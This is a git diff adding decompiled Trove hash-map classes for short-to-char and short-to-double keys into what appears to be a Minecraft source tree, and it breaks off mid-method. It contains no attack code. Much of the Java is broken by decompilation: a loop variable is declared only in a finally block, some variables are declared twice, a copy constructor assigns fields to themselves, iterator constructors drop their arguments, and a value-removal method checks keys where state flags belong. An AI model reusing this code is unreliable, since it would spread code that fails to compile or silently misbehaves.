+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public char remove(short key)
+  {
+    char prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TCharCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public char[] values()
+  {
+    char[] vals = new char[size()];
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public char[] values(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(char val)
+  {
+    byte[] states = _states;
+    char[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortCharIterator iterator()
+  {
+    return new TShortCharHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortCharProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    char[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    byte[] states = _states;
+    char[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortCharProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    char[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, '\001');
+  }
+  
+
+  public boolean adjustValue(short key, char amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; char[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((char)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public char adjustOrPutValue(short key, char adjust_amount, char put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    char newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; char[] tmp25_20 = _values;char newValue = tmp25_20[tmp25_23] = (char)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortCharHashMap.TShortCharKeyHashIterator(TShortCharHashMap.this, TShortCharHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortCharHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortCharHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TShortSet)) {
+        return false;
+      }
+      TShortSet that = (TShortSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TShortCharHashMap.TShortCharValueHashIterator(TShortCharHashMap.this, TShortCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      short[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TShortCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TShortCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    TShortCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TShortCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TShortCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TShortCharHashIterator
+    extends THashPrimitiveIterator
+    implements TShortCharIterator
+  {
+    TShortCharHashIterator(TShortCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public short key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortCharMap)) {
+      return false;
+    }
+    TShortCharMap that = (TShortCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        short key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TShortCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(short key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      short key = in.readShort();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TShortDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TShortDoubleHashMap.java
new file mode 100644
index 0000000..210c018
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TShortDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.impl.hash.TShortDoubleHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TShortDoubleIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TShortDoubleMap;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TShortDoubleProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TShortDoubleHashMap
+  extends TShortDoubleHash
+  implements TShortDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TShortDoubleHashMap() {}
+  
+  public TShortDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TShortDoubleHashMap(int initialCapacity, float loadFactor, short noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TShortDoubleHashMap(short[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TShortDoubleHashMap(TShortDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TShortDoubleHashMap)) {
+      TShortDoubleHashMap hashmap = (TShortDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(short key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(short key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(short key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Short, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Short, ? extends Double> entry : map.entrySet()) {
+      put(((Short)entry.getKey()).shortValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TShortDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TShortDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(short key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(short key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TShortSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public short[] keys()
+  {
+    short[] keys = new short[size()];
+    short[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public short[] keys(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(short key)
+  {
+    return contains(key);
+  }
+  
+
+  public TShortDoubleIterator iterator()
+  {
+    return new TShortDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TShortProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TShortDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TShortDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    short[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(short key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(short key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(short key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TShortSet
+  {
+    protected TKeyView() {}
+    
+    public TShortIterator iterator()
+    {
+      return new TShortDoubleHashMap.TShortDoubleKeyHashIterator(TShortDoubleHashMap.this, TShortDoubleHashMap.this);
+    }
+    
+
+    public short getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(short entry)
+    {
+      return TShortDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public short[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public short[] toArray(short[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(short entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(short entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!TShortDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TShortCollection collection)
+    {
